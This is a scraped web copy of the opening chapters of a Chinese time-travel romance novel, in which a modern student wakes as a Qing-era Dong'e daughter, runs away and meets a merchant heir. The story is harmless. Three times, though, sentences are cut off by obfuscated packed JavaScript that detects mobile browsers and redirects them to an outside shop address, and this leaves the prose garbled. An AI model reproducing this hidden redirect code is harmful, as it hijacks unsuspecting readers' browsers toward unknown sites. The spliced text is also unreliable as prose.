《清穿之原来我是董鄂妃》 1. 穿越 一阵天旋地转后。 董浣浣承认,就在这一刻她对这个叫安齐修的清朝男人一见钟情了。 故事的起因,还要从两个多月前说起。 公元二零一九年暑假第一天,董浣浣宿舍四人没有回家,相约直接从学校出发去四川乐山看大佛。 由于是临时起意,又适逢暑假期间,当她们赶到火车站的时候,火车票都已经售罄,几人商议决定改坐大巴。 好不容易买到车票,四人刚坐上车,天公不作美,就开始淅淅沥沥的下起雨来。 “这样的天气,真适合穿越呀!” 刚坐上车孟古青就开始抒发她穿越小说迷的心声。 坐在她对面的董浣浣真想呵呵她一脸,穿越有什么好的,冬天不能开暖气,夏天不能吹空调,作为计算机系的连个代码都不能写,生活还有啥乐趣。 “董浣浣同学,你有意见?” 果然是有同居三年的基情在,董浣浣只是心里想了一下,孟古青就已经感应到她的吐槽了。 “没,没,没,我特别想穿越,穿越到唐朝,捡个女皇当当”,董浣浣辩解。 “得了吧,就凭你,给你个女皇的副本,你也能玩出女乞丐的气质”,坐在董浣浣旁边的宿舍老二吃着薯片打击她道。 宿舍老大补充:“穿到唐朝做女皇?你这样想,武则天知道吗?你能为大唐做些什么,码代码吗,你先把计算机发明了再说吧。” 孟古青:“就是,要是真穿越到过去你还不如我呢。至少我凭借多年看穿越小说的经验,随便找个朝代我都知道巴结谁比较有用,你呢,分分钟得罪人,怎么死的都不知道。” 董浣浣反驳:“胡说,我怎么不知道,真当我是历史白痴了,秦朝巴结姓嬴的,汉朝巴结姓刘的,唐朝巴结姓李的,明朝巴结姓朱的,清朝巴结姓爱新觉罗的,这点常识我还是知道的。” 孟古青竖起一根中指左右晃了晃:“非也,非也,秦朝巴结姓赵的,唐朝巴结姓高的,明朝巴结姓魏的,清朝巴结姓安的,或者姓李的才管用。” 董浣浣不解:“为什么,我干嘛巴结他们呀?” “你一个宫女不巴结大太监,你还想巴结皇上吗,你以为你是贵妃呀?我等一会给你列一个历代太监一览表方便你使用!” 董浣浣抄起手边的书扔向她。 孟古青接过董浣浣扔过来的书看了一眼接着吐槽她:“我就不明白了,你一个计算机的大学生怎么就只对《山海经》这些老古董玩意感兴趣。再说了这也不符合你的性格啊,你这让别人看到了还以为你是秀外慧中型的呢。” “我难道不是吗?” 孟古青斜睨她一眼,然后对着车顶翻了个大大的白眼。 “就你那样。得了吧,两分钟你都装不住”,老大接力吐槽。 是啊,董浣浣的性格跟温婉恬静根本搭不上边,更谈不上什么秀外慧中了。 以她这样的性格,大多数的人都会认为她会喜欢那些比较开放的现代文学,可是她就是喜欢中国古代那些被誉为荒诞不经的学问。 “真的很了解我嘛,可是我最近爱上的别的东西,当,当,当,看!” 董浣浣把另一本书从书包里掏出来递给她们看。 “佛经!你怎么读佛经了,你不会是想出家吧!” 孟古青夸张的张大嘴巴,下巴差点着地。 “去,你才想出家呢!” 董浣浣把书狠狠地往孟古青头上打去,可是却被她巧妙的躲过去了。 “我们是不是上辈子有仇啊,你怎么总是喜欢拿书打我!” 孟古青拍着胸口,弯下腰去捡掉在地上的书。 董浣浣赞同的点了点头:“我猜也是,不然你怎么老是喜欢挖苦我呢。” 孟古青把书递还给她:“你什么时候开始对佛经感兴趣了?” 董浣浣:“也没多久,就是前一阵子突发奇想,想升华一下。” 孟古青:“你这不是想升华一下,你这是想升天呀,怪不得提议去乐山看大佛。” 董浣浣作势又要拿书扔她。 孟古青赶忙换话题:“不过你喜欢佛经的话,穿越到清朝倒是个不错的选择。” 董浣浣:“什么意思?” 孟古青:“顺治皇帝就是个佛经爱好者。” 听到这个答案,董浣浣翻了翻白眼。 董浣浣“鄙视”她道:“谁不知道你啊!都不知道你是怎么想的,学校里那么多男生追你,你都无动于衷,却整天对个死人充满幻想!” “如果哪个男人,能够像我的福临对待小宛那样对待我的话,我就接受他了!” 孟古青又在忘情的陶醉中了。 董浣浣:“要是真的有人像他一样对你,估计你早就疯了。那么多老婆,还不得把你气死啊!” 孟古青反驳:“那怎么可能呢,历史在进步,现代社会是不允许三妻四妾的。再说了我又不是风尘女子,我们家的福临是不会这么对我的!” 实在是看不下去孟古青这幅“堕落样”,老二终于站到了董浣浣这边:“你这又是哪来的话啊,我劝你不要再看那些野史了,去看看正史吧,孝献皇后,董鄂氏可不是什么风尘女子,顺治也没你想象中的那么好!” 孟古青不为所动:“既然这样,我为什么要去看呢。我又不是学历史的,就让我的福临在我的心中一直保留他最完美的形象吧!” 董浣浣无奈了:“真受不了你,你爱怎样就怎样吧。” 孟古青不理她们,拿着笔刷刷的在旁边的笔记本上写些什么。 董浣浣伸头去看:“一口气不来将往何处安身?” 看到这句话,董浣浣有些愣神。 不知为何,她有一种感觉,好像,某年,某月,某日,某人和她说过这句话。 孟古青解释:“据传这是我们家福临一直在探讨的问题,是不是很深奥啊?” 还没等董浣浣发表见解,旁边的老二就已经插话进来了:“什么狗屁问题!这个问题的答案只有两种,一:死了,放在棺材里。二:做人工呼吸把他救过来呗!” 孟古青:“俗,真俗!” 老二:“就你高尚,就你们家福临高尚,行了吧。我懒得理你!不过我得提醒你,”老二转头看向董浣浣:“佛经可是很深奥的,不是那么容易参透的,你要是读的话最好用心点,不然很容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815826|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误会其中含义,会误入歧途的。” 董浣浣回神:“知道了,知道了,这还用你说!” 她满不在乎的应着。 大巴车疾驰在高速上,雨越下越大,不时还伴有雷电,距离下一个服务区还有一段距离,望着窗外的雨幕,车上的众人皆有些不安。 都说人类是对即将到来的危险会有心灵感应的生物,当大巴侧翻的那一刻,董浣浣深以为然。 董浣浣闭上眼睛的那一刹那,最后的念头居然是:这要是穿越了,也太草率了吧。 清朝顺治六年,冬。 房门外。 一中年男子正在焦急的来回踱步,额头上沁出密密的汗珠。 房门内。 一少妇坐在床前手里拿着手帕忙着帮床上的人儿拭汗,眼眸里噙满了泪水。 床上的少女美目微闭,苍白的面孔近似一张白纸。 “大夫,到底怎么样了!” 少妇焦急的问。 一旁把脉的大夫愁眉紧锁。 片刻之后,捋了捋胡须,示意大家出去。 少妇帮床上的人盖好被子就紧跟着出去了。 “大夫,小女到底怎么样了?” 看到出来的大夫,中年男子赶忙凑上前问。 紧跟着出来的少妇站在丈夫的旁边焦急的看着大夫。 “恕老夫直言,小姐生来就底子弱,再加上常年忧思,积郁成疾,恐药食无所医也。老夫愚见如今只有让小姐放宽心,方可度过今年冬天。待到春暖花开天气转暖,病情也许会有所好转。” 少妇一听,潸然泪下。 “老爷,这可怎么办才好。浣浣出了什么事,我怎么向九泉之下的姐姐交代啊!” 中年男子赶忙安慰妻子:“上天保佑,浣儿,福大命大,一定会没事的。” 董浣浣从床上悠悠转醒过来,只觉得浑身酸软无比,无法动弹。 看了一眼周围的摆设,脑袋还处在当机状态,一时间还没反应过来自己身处何处。 少妇目送丈夫和大夫的背影离开后,拿起手帕掩面擦掉脸上的泪折回房前,推开房门,走近床边。 看到已经醒来的董浣浣,眼睛瞬间迸发出喜悦的光彩,赶忙唤来贴身丫鬟去通知送大夫离开的老爷这一好消息。 被她的这一系列操作惊到了的董浣浣,脑袋这才慢慢恢复意识。 第一反应,这是在哪? 第二反应,面前的这位哭的梨花带雨的身着绸缎头戴朱钗的姑娘是谁? 送完大夫回来的男人在得知女儿转醒后匆匆赶来,看到已经坐起来被伺候着喝水的董浣浣,眼泪纵横,一把抱住了董浣浣:“好孩子,你终于醒了,吓死阿玛了。” 阿玛。 董浣浣得到了第一个有效讯息,这是她爹。 当董浣浣看到这位剃着光头,扎着大辫子的大叔进来的那一刻起,就知道自己是穿越到清朝了。 侧翻的大巴是不会让她在横店影视城里醒来的,也不会在她没醒来之前就把她送到如此复古的精神病院里的。 孟古青呀,孟古青,你的一张乌鸦嘴,直接就把我送到了三百年前的大清朝了。 2. 一见钟情 转眼间已是草长莺飞的二月天,永州城内杨柳青青。 “小姐,你小心点。你要是摔着了,我怎么向老爷,夫人交代啊!” 紫鸢在树下焦急的呼喊。 紫鸢比浣浣大一岁,是她的婢女。 董浣浣来到这个时空寄宿在这个身体上,已经两个月零十八天了。 她,董浣浣。哦,不,现在是董鄂.浣浣,今年十一岁。 关于顺治年间的董鄂氏,董浣浣还是从各大连续剧里有所涉猎的,穿越当天孟古青还和她提过一嘴,他们家出了一个宠冠后宫的董鄂妃,名字里有个宛字。如果现在有手机就好了,她就可以百度一下她和这个董鄂妃的亲属关系了,方便攀个亲戚求个免死金牌保命用。 身在清朝的董浣浣,现在有一个身为武将的爹,全府上下都尊称他为老爷,因为向别人打听自己阿玛叫什么太容易露馅了,董浣浣目前还不知道他的名字,一个和她年纪相仿的还未过门却在她面前总以母亲自居的继母,因为她的继母有个响当当的名字:爱新觉罗.颜冉,所以即使被占了这么大的便宜,浣浣还是恭恭敬敬的唤她一声“额娘”,还有一个五岁的幼弟。 董浣浣其名,据她身在二十一世纪的前世的爹讲,是因为她娘生她的前一晚梦见了在河边浣纱的西施,灵机一动得来的。 董鄂.浣浣其名,据她现在董鄂氏的爹讲,是因为她额娘生前很喜欢西施所以取了这个名字。 浣浣表示不服,怎么天下姓董的娘都喜欢这么个套路! 不过也好,至少她不用再适应新名字了。 此时她正在不知名的山,趴在不知名的树上,摘不知名的果子。 要问为什么大户人家的小姐会沦落至此? 那是因为,身为大家闺秀的董浣浣离家出走了! 董浣浣已经离家出走半个月了,女扮男装行走江湖,日子过得潇洒自在。只是这段路走了很久也没看到点人烟,带的干粮也已经吃完了,为了不饿死自己和紫鸢,就只能上树摘果子充饥。 董浣浣现在十分怀念二十一世纪有手机支付和外卖点餐的日子。 有没有想过回到二十一世纪? 当然有! 不过怎么回呢? 什么摔楼梯、撞墙、跳楼、跳河,再死一次,这些都是电视剧里穿越前辈们用烂了且无效的梗,伤心又伤身,董浣浣自然是不会再尝试的。 所以关于穿回去这件事,董浣浣决定还是从长计议比较好。 目前最重要的事就是心情愉悦,游山玩水,吃好喝好。 眼看着银两越来越少,董浣浣觉得她不能再这样坐吃山空,也该好好想一想赚钱的门路了。 既然这样为什么不回家? 回家? 董浣浣想想就觉得恐怖。 以前一直以为如果能过上饭来张口,衣来伸手的日子,那就是天堂。 当有一天真的过上了这样的日子,董浣浣只想用生不如死这句话来总结。 吃饭有嬷嬷来喂,只需张口即可,洗漱全由丫鬟一手操办,只需要在搀扶下走进浴桶即可。去个厕所都要被人监视着,生怕她摔了,就连睡觉旁边也有嬷嬷轮流值夜。 曲不给听,说是需要静养。书不给看,说是劳心伤神。路不给走,说是散步损耗体力。董浣浣从醒来的那天开始,在董鄂家的大部分时间都是用来待在床上睁眼对着房梁,从日出到日落。 真当她是个玻璃娃娃了,这种生活谁受得了。 林黛玉都没有这么娇气。 虽说她是生病了,需要照顾,但也不是这个照顾法,所以待她身体好了一些,趁她阿玛外出之际,给她后母留了封书信,告诉他们,她要去江湖游历一番,并保证每半个月给家里去一封书信,让他们不用挂念,就带着丫鬟紫鸢离家出走了。 浣浣表示,借用帕特里克·亨利的名言:不自由,毋宁死。 “小姐,你快下来吧,别摘了。摘下来,也不知道能不能吃,有没有毒。” 董浣浣不以为然:“你懂什么,孟浩然曾说过,‘业已饮,遑恤他!’,有毒又能算什么,都快饿死了,先吃上再说。” 紫鸢不解的问道:“孟浩然是谁,他说的那话是什么意思?” 董浣浣解释:“孟浩然是唐朝一个著名的诗人,这句话大致的意思就是有个非常重要的政治人物叫韩朝宗想向别人推荐他,这可是关系到他日后仕途的大事,可是这人为了吃,连搭理上面头头的空都没有。” 上面头头,是她们的暗号,代指皇上。 主要是因为董浣浣每次提到皇上,就把紫鸢吓得扑通跪下一顿磕头,于是董浣浣就和她约定了这个暗号。 紫鸢吹捧:“小姐,真是知识渊博。这位孟诗人也真是大胆,连上面头头都敢不搭理。” 董浣浣坐在树杈上,晃荡着腿,有些不好意思的反驳:“不是本公子知识渊博,我只是接受过九年制义务教育和李白、杜甫、白居易、孟浩然比较熟而已。” 紫鸢觉得他们家小姐自从上一次生病醒来,就变得很不一样了,经常说些奇奇怪怪的话,做些奇奇怪怪的事情。就像现在她特别想问什么是九年制义务教育。 “九年制义务教育啊”,董浣浣重复着紫鸢的问题,该怎么解释呢? 董浣浣灵机一动开始糊弄没有读过书的小丫鬟道:“阿玛给我请先生,不是已经九年了吗,这就是九年制义务教育,是用来计算读书年限的一种标准。” 紫鸢似懂非懂但也不敢就这个问题多问:“哦,那最后孟浩然是怎么死的?” 董浣浣一脸铁青:“吃死的。”,堂堂一代诗星,居然是因为不遵从医嘱,吃海鲜吃死的,身为从小学他的诗长大的迷妹真的不知道该说什么好。 紫鸢:“、、、、、、” 所以小姐你拿他为例,你还敢吃吗? 董浣浣低头看了一眼布袋里的青果,也陷入了沉思。不过想到二十一世纪的父亲曾说过,长得矮的植物有毒的较多,长得高的有毒的植物很少,这棵枣树这么高,应该是无毒的吧?何况在现代也没听说,有哪一种枣子是有毒的。 董浣浣拿了一颗青果在衣服上擦了擦:“别怕,别怕,我帮你试一下毒。我吃完之后,要是没事再给你吃。” 看她一脸满不在乎的样子,紫鸢着急的在下边喊:“小姐,要是试毒也该我给你试,怎能让你给我试毒呢,你快下来吧。” 董浣浣转身看向紫鸢纠正道:“都说了在外边,要叫我哥哥,实在不行叫公子也行,你怎么一直学不会呢,啊、、、、、、”,董浣浣话音刚落,脚底一滑,摔下了树干,眼看俏颜就要和大地来一个亲密的接触,却突觉身子一轻,腰部被人揽住,转了一圈,平安落地。 董浣浣站稳后,才得空看向救命恩人。 这一看董浣浣体会到了一个词的含义。 一见钟情。 来人是个年轻的男子,身材颀长,风姿俊逸,面容清雅,头戴蓝白相间的暗纹锦帽,一席白色长袍,腰间系着蓝色腰带,上面挂着一块白色的玉佩。和他同来的是一个看起来比他小几岁的男孩,穿着打扮也都较为考究,一看就是富贵人家的公子。 惊魂未定的紫鸢忙上前去对她仔仔细细的查看了一番,董浣浣对她好生一顿安抚。 待安抚完紫鸢的情绪,董浣浣走上前向那人道谢:“多谢兄台出手相救。” 那人冲她点头微笑了一下,指了指她刚才爬上的那棵树:“此树名曰苦楝树,通常三四月开花,十一月左右结果,花、叶、果实、根皮皆可入药。”,董浣浣刚想回头“责备”一下紫鸢刚才的小题大做,那人随即弯腰拿起她摘下来放在布袋里面的青果接着道:“只不过,这植物有毒,尤其果实毒素最强,如果误食会造成头痛、呕吐、恶心,甚至是死亡。” 董浣浣看着地上的那袋长得特别像枣子的青果,心有余悸,就在刚刚她差点就因为吃了它被毒死了。 这人真是她的贵人,这么短短的一会功夫,已经救了她两命了。 董浣浣:“多谢兄台,再次搭救之恩。在下董浣,草重,董,浣溪沙的浣”,拉过紫鸢介绍:“这是舍弟紫鸢,紫是紫色的紫,鸢是一种老鹰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815827|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,敢问兄台怎么称呼。” 那人看了一眼董浣浣又笑了一下:“《礼记·大学》有云,修身齐家治国平天下,在下安齐修,安是国泰民安的安,”眼神从站在他旁边的人身上扫过:“这是舍弟,安齐平。” 董浣浣心中窃喜,还好,还好,他姓安。 清朝电视剧黄金保命定律:千万不要和姓黄,姓尹,姓爱新觉罗拆开来的任意一个字包括谐音的姓的人交朋友,和他们交朋友,通常下场都会很惨。 家里已经有了一位姓爱新觉罗的祖宗了,千万不能再去招惹另一位了。 董浣浣双手交握冲着安齐修作了个揖:“安兄。” 安齐修冲她回了个礼:“董兄。” 安齐平不满的声音响起:“哥,你还要陪她玩多久?明明是两个姑娘,穿着男装就以为自己可以瞒天过海假装成男人了?还有,”安齐平指了指站在董浣浣旁边的紫鸢对董浣浣说:“她一看就比你大,你还假装人家哥哥。” 董浣浣:“、、、、、、” 电视剧里可不是这么演的啊,这个时代的小孩都这么聪明的吗,她为了不让别人认出来她们是女生甚至还贴了胡子的。 安齐修拉回安齐平的手:“舍弟年幼,心直口快,多有得罪。冒犯之处,还请两位姑娘见谅。” 董浣浣头大,这种当面被拆穿女儿身的电视剧,接下去该怎么演来着,她怎么什么都想不起来呢。 没办法了,董浣浣还是硬着头皮道歉:“是我们欺骗身份在先,理应我们向恩公赔罪才是。” 安齐修:“女儿家行走江湖会有诸多不便,董小姐女扮男装,不便告于外人,皆合情理,何须致歉。倒是舍弟冒失戳破,我代他向两位小姐致歉。” 说完,向董浣浣拱手作揖。 董浣浣心中赞叹,人家这台阶给的真有水平,赶忙回礼作揖。 这事就算翻篇了。 安齐修:“这里距离永州城中还有段路程,单良。” “是,少爷。” 董浣浣这才看到他身后不远处又走过来一个男人。 “把盘缠拿过来。” 来人说了句:“好”,把背着的众多包袱的其中一个包袱递给安齐修。 安齐修把包袱递给董浣浣的时候,董浣浣觉得她今天出门前一定是被诸神关照过。 董浣浣看了一眼人家那大包小包的行李,应该是不缺这点干粮,也就没有推辞,接过包袱道了谢,就与他们一同下山了。 山下,安齐修的马车前。 董浣浣不着痕迹的观察了一下他们出行的装备,高头大马,楠木车身,雕梁画栋,真是气派,马车前还站着一个小厮模样的人。 安齐修:“董小姐你们这是要往哪里去?” 董浣浣:“我们准备去京师,恩公去往何处?” 董浣浣已经计算好了,她家阿玛马上就要离开驻地回京了,劳师动众的举家迁移也是需要一些时日,她在外面游历半年,回到京城他们正好都已经安排好了,反正到了京城紫鸢认识路也不用担心找不到家,虽说是离家出走,但也不能总不回家呀,怎么说那个家也是她在这个世界唯一的靠山了。 安齐修:“恰好同路,姑娘若不嫌弃可与我们一同前往,互相也可有个照应。” 看了一眼人家的大马车,董浣浣有些心动,坐车总比走路要快些,何况还顺路。 可是俗话说:害人之心不可有,防人之心不可无。董浣浣还是忍不住在脑海中小人之心了一下,安齐修他们不会是想拐卖她们吧,不过很快就否定了这个想法,先不说人家的穿着打扮谈吐气质不像是能干出这事的人,就说人家四个男人,要是真想拐卖她们,这荒郊野岭的,直接把她们用绳子绑起来扔到车上更顺手,哪需和她们废话这么久,更何况人家刚才还救了她两命。 一番天人交战后,董浣浣: “多谢恩公美意,那我就恭敬不如从命了。” 果然是电视剧看太多了,如果安齐修知道她刚才的想法会不会觉得她是狗咬吕洞宾呀,董浣浣有些自嘲的甩甩头,在紫鸢的搀扶下坐上了车。 3. 大清第一女商人 董浣浣最近心里美,每天吃喝玩乐还能日进斗金,她想赚钱的愿望就这样轻松的实现了。 真是印证了那条亘古不变的真理,抱对了大腿有肉吃。 那天坐上马车后安齐修向她打听了一下她的回京计划,得知她不赶时间,就邀请她和他一起边游玩边赶路,董浣浣欣然应允。 几天的相处下来,董浣浣算是从安齐平和单良的嘴里初步了解了她家恩公的家庭情况。京城有名的皇商巨贾之家,产业涉及铜铁、盐业、茶马、丝绸、人参、军需等。 安齐修此次外出是奉父亲之命巡查各地商铺,结交各路朋友,出来历练积累经验方便以后继承家业的。 所以当她家恩公问她要不要参股的时候,她即刻就把她的小钱钱全部奉上了。 奉上之后董浣浣就有点后悔了,害怕这是古代的一种诈骗形式旨在骗光她所有财产。也曾脑洞过她家恩公,会不会把她的钱骗光之后再把她和紫鸢卖到青楼换钱,毕竟这种天上掉馅饼的事总是让人感到不安,直到安齐修把一块随身佩戴的玉佩给她作为抵押之后,这些顾虑就统统烟消云散了。 董浣浣和紫鸢去了好几家当铺打听过了,这块玉佩的价格比她的小钱钱高出几百倍不止,把她俩打包卖到青楼也不够人家玉佩价格的九牛一毛。 董浣浣甚至都开始为安齐修担心,也不怕她们俩拿着他的玉佩逃跑了。不过作为二十一世纪的守法公民,大清朝的名门闺秀,这种事董浣浣是不屑做的。 现在的董浣浣真的后悔以前没有多读书,也特别后悔当初嘲笑孟古青天天看穿越小说。人家穿越前辈们,随便穿到哪朝哪代都可以对史实信手拈来,了解皇家贵胄,乡绅巨贾的各种传奇经历,然后遇神杀神,遇魔杀魔,走上人生巅峰。 而她呢? 人家都给她画出重点了:京城皇商巨贾安家,可怜她的知识储备跟不上,根本接不上接下来的剧情。 清朝著名的皇商巨贾她就只知道出过一代文豪曹雪芹的那个著名的曹家,可是那都是顺治他儿子孙子时候的事情了,对于身处顺治朝的董浣浣来说完全没有用武之地。 不过没关系,开不了金手指,现在开始学也不晚,怎么说她也是接受过九年制义务教育的人儿,学习能力肯定不会比古人差,实践出真知嘛,反正闲着也是闲着。 待在清朝的这两个多月以来,董浣浣想清楚了一件事,权力这件事在这个时代太需要看别人脸色了,搞不好还会一命呜呼,还是真金白银最实惠,等她赚到了大钱,找个鸟不生蛋的地方埋点,万一哪天穿越回去了她还能给三百年后的二十一世纪的自己留点遗产。 她,董浣浣誓要在三百年前的大清朝做出一番成就来,不屑做那个困在深宫坐吃等死的皇后,她要做大清第一女商人。结交各路名人侠士,踏遍各处美景,尝遍各处美食,笑谈风月,快意人生。 只是这个愿望,目前还有点遥远。 董浣浣忘了这个时候是没有电的,更没有计算机的。 此时在埋头拼命练习打算盘的董浣浣,有点沮丧的想,大清第一女商人职业前景居然让这几颗珠子难住了。 安齐修走进来的时候,就看到她一副苦相的对着一本账本,在练习拨算珠。 安齐修笑:“很难吗?” 董浣浣点头:“很难。” 董浣浣发现安齐修真的很爱笑,他的笑容有一种让人安心的魔力,他的内心深处肯定很温暖。 安齐修从她手上拿过算盘和账本演示给她看。 董浣浣看着他的手指在算盘上灵巧飞舞,真是赏心悦目。 心中感叹:还有什么是他不会的吗? 这些天董浣浣简直是大开眼界,一把银光薄剑,被他武的宛若蛟龙,一手妙笔丹青,极尽风流。在清朝这样重文轻商的封建制度下,这样文武双全的人,不入仕为官仿佛都是在糟蹋人生。 董浣浣:“以你的才学见识,怎么不去参加科举,一展宏图抱负。” 安齐修停住手看向她:“叔父在朝为官,沉浮多年,劝导过我,切勿卷入这官场旋涡之中,守住自己的本心。做个闲散商人,一生逍遥快活。” 安齐修说完把算盘和账本收拾了一下放在一边:“这几天辛苦了,今天就不练了,换身男装,晚些时候带你去见几个朋友。” 董浣浣:“朋友,什么朋友?” 安齐修:“家父的朋友,做铁器,粮草生意的。” 董浣浣点头答应了。 永州城,悦来饭庄天字号雅间。 董浣浣和安齐修到了的时候,已经有八个人已经等在那里了。 一番自我介绍后,众人入席。 董浣浣留意了一下,明明在众人当中她和安齐修的年龄最轻,可是这群人却把主位的两个位置留给了他们。安齐修也不推辞直接坐到了主位上,董浣浣硬着头皮坐在了他旁边的位置。 这是董浣浣第一次见到安齐修的另一面,浑身自带不怒而威的气场。 八人当中,董浣浣能看出来为首的是一个叫范永斗的商人。 此人说话圆滑伶俐,眼尖手快。 席间,范永斗准备给她倒酒被安齐修给拦住了:“她身体不适不宜饮酒。” 范永斗立刻会意,给她叫来了一壶上好的碧螺春。 言谈间,董浣浣对这几人在商界的地位有了初步的认识,晋商八大家,做生意恰好路经永州,听闻安家公子也在永州,特来拜会。几人把出身说的比较冠冕堂皇,一派本分商人模样。董浣浣腹诽就是靠向女真走私粮草、铁器等,发明朝国难财出身的奸商。不过能让这几个人把心甘情愿的把主位留出来给安齐修,安家的地位不言而喻。 一顿饭下来,董浣浣旁听了一群人分析了一下如今的商场局势,以及去年的粮草储备情况和今年铁器开采形势。 宴毕。 临别前范永斗:“安少爷,代我问老夫人好。” 安齐修点头应允。 董浣浣很肯定这不是他们第一次见面,原定的谈话内容应该也不是这些,不知为何,董浣浣觉得众人言语间皆有些提防着她。 回客栈途中,马车上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815828|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 董浣浣按不住心中好奇:“我可不可以问你一个问题?” 安齐修:“请讲。” 董浣浣:“刚才为什么让人撤走那道东安鸡?” 那道东安鸡味道真的很不错,甜酸不腻,肉嫩骨脆,董浣浣觉得她一个人都可以吃一盘,结果她只夹了两棒,再想夹第三棒的时候,安齐修就唤来小二把那道菜给撤了。虽然说出来有些丢人,可是董浣浣还是没能忍住好奇。 安齐修:“在商界出门在外,切记不能让别人了解你的习惯喜好,太容易被别人猜透,招来杀身之祸的几率就越大。” 董浣浣点头表示记下了。 这几天安齐修好像看出来了她的想法,不想只做躺赢分钱的股东,总是有意无意的教授她一些商场上的门道。 董浣浣又问: “那几个人身为汉人,因自己一己之私,枉顾民族大义,你为什么还要和他们结交?” 在董浣浣的潜意识里觉得的安齐修这样有风骨有才学的人不应该与这样的人为伍。 安齐修不答反问:“听过唐太宗与魏征的故事吗?” 董浣浣点头:“贞观之治,一代贤皇与一代名相的故事。” 安齐修又问:“那你觉得唐太宗喜欢魏征吗?” 董浣浣想都没想不假思索的道:“当然喜欢了。” 安齐修笑:“如果你是一个九五之尊,经常在大庭广众之下被一个人指着你的鼻子骂得你下不了台,而这个人之前还辅佐过你的对手,你还会喜欢他吗?” 董浣浣:“……” 安齐修:“唐太宗对魏征的是欣赏,并非喜欢,魏征能够让他保持清醒,给他指引正确的方向,这就是魏征的价值。” “为政如此,经商亦如此。我们要看的是他们有没有利用价值,而不是我们喜不喜欢他。再者,结交他们也只是为了知己知彼,并非要和他们为伍,我们能做到的不是要求他们,而是守住自己的本心。” 董浣浣:“那你结交我,对我好的理由是什么呢?” 就像安齐修所说,没有人会平白无故的去喜欢欣赏一个人,没有人会无缘无故的对一个人好,她也很想知道,对于安齐修而言,那她的价值又是什么呢? “对你好,不好吗?”,他问。 董浣浣:“好是好,就是我也需要一个理由。” 安齐修:“我对一个人好不需要理由,但我对一个人不好,皆会事出有因。” 董浣浣:“哦。” 安齐修:“如果你要问的是你对于我的价值是什么?”,董浣浣闻言看向他,他顿了一下看向董浣浣才道:“本心。” 董浣浣重复:“本心?” 安齐修:“对,本心,善良的本心。”而后,安齐修神情认真的对她说:“日后无论发生什么事,你只需记得我会永远对你好,你一定要相信,我会永远守住自己的本心。” 董浣浣愣住了,安齐修说她是安齐修的良善之心,那她的价值也太大了点吧? 还有就是,你们古人表白都是这么委婉的吗? 4. 被戏弄的小豹子与伟大的爹 董浣浣觉得最近自己的造诣直逼圣人的境界。 遥想当年,如果她高中三年要是有现在这样的劲头,清华北大都不在话下。 “大清第一女商人”候选人董浣浣的近期目标是,一:短期内熟练掌握满、蒙,两种以前完全没有接触过的语言,二:速成会计基础。 为此,董浣浣现在每天早上都会“三省吾身”,具体内容如下:大清第一女商人是个不可能完成的理想吗,算珠可以拨的更快一些吗,能熟读账本了吗? 不过,都说兴趣是最好的老师,此时的董浣浣深以为然。虽然说她给自己制定的目标很艰巨,不过因为是自己心甘情愿想要去做的,又有安齐修这样帅得掉渣的老师给她一对一教学,还有安齐平这样的小帅哥供她戏弄,董浣浣总体来说还算是乐在其中的。 可是董浣浣忘记了,调戏久了病猫都会发威的,何况安齐平他不是一直病猫,他是一只豹子。 “董小姐,有你的书信。”单良手里拿着一封信走到董浣浣旁边,递给她。 正在和安齐平对弈的董浣浣听到这话,一脸黑线。 大一的时候,学校迎新晚会上,一个高年级的帅师兄抱着一把吉他坐在椅子上,一束追光打下来简直像仙子下凡,董浣浣被深深的迷住了。当时他唱的就是《董小姐》这首歌,后来听说师哥出国交流,董浣浣的追星之路无疾而终。为此,董浣浣把这首歌设置为手机铃声,每天回到宿舍带上耳机循环播放,长达半年之久,最后连她自己都听吐了,才算结束。 所以每次单良这样叫她,董浣浣的脑海里就会不自主的冒出那首熟悉的旋律。 董浣浣接过信抬头看向单良“语重心长”的指正:“同在江湖漂,小单兄弟不必这么生分,叫我浣浣姐就好。” 站在一边的单良连忙摇头:“奴才不敢。” 董浣浣叹气:“怎么就教不会你呢,我又不是你家主子,不必这么生分,叫我浣浣姐就好。” 单良解释:“董小姐和我家主子是朋友,自然也是主子,奴才不敢逾矩”。 逻辑无懈可击,董浣浣一时间居然没想出来该如何反驳。 此时坐在她对面的安齐平突然笑了一下,把手里的棋子丢到棋盒里:“你让我称呼你为浣浣姐,现在又让单良唤你浣浣姐,那我该称呼单良为什么,”安齐平顿了一下,歪着脑袋似乎在思考,然后缓缓的冒出了两个字:“哥吗?” 一个八岁的小孩,明明是在笑着和她说话,为什么会让人感觉浑身冷飕飕的,董浣浣还没想好怎么回答他,只听见“噗通”一声,单良直接跪下来连连磕头,嘴里不停地喊着:“奴才该死,奴才该死。” 